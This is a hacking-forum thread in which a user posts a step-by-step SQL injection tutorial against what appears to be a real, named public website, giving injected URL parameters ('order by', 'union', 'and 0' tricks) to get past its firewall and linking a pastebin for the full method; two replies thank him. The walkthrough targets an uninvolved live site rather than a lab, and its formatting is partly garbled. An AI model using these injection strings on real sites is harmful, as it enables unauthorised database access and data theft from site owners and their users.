

Forum:[Hack Forums](#)

Thread: [\[TUT\] The solution to last Challenge Number 11](#)

InjectorBoy - August 18, 2017, 2:25 pm

Hi EveryBody This Is The solution to last Challenge Number 11 .

PHP Code

```
<?php
```

```
https://hackforums.net/showthread.php?tid=5694500
```

let's beginning

Target

PHP Code

```
<?php
```

```
www.princeofpoets.com/ar/news.php?cat=43&id=230
```

first try to get column number by using [' order by 100 -- -]

PHP Code

```
<?php
```

```
www.princeofpoets.com/ar/news.php?cat=43' order by 100 -- -&id=230
```

as we see ' Forbidden '

If you'd like your results in the opposite order (referred to as descending order), you need to add the DESC or asc operator like

PHP Code

```
<?php
```

```
?cat=43' order by 100 asc -- -
```

or

PHP Code

```
<?php
```

```
?cat=43' order by 100 DESC -- -
```

so any time you have Forbidden in Order By you need to use ascending operator to bypassing that Forbidden

see more about that operator here

PHP Code

```
<?php
```

```
https://stackoverflow.com/questions/5912770/select-last-20-order-by-ascending-php-mysql
```

PHP Code

```
<?php
```

```
www.princeofpoets.com/ar/news.php?cat=43' order by 100 asc -- -&id=230
```

I found the column number it's only[2] so let's go to next step

let's check if union based will work or not here

PHP Code

```
<?php
```

```
http://www.princeofpoets.com/ar/news.php?cat=43' union a-- -&id=230
```

as we see Forbidden notice don't try to use [/*!50000*/] to bypassing union doesn't work in this site

let's try to add and 0 to variable to bypassing Forbidden

PHP Code

```
<?php
```

```
http://www.princeofpoets.com/ar/news.php?cat=43' and 0 union a-- -&id=230
```

working ?

the full method now will be

PHP Code

```
<?php
```

```
https://pastebin.com/vNQVgdKU
```

The End - Hope You Loved ?

Gardener Jim - August 19, 2017, 12:20 am

Cheers for sharing the solution. I know I wouldn't have been able to work it out...

InjectorBoy - August 19, 2017, 12:43 pm

(Aug 19, 2017 12:20 AM)Gardener Jim Wrote: [\[CITE\]](#) Cheers for sharing the solution.
thx bro ?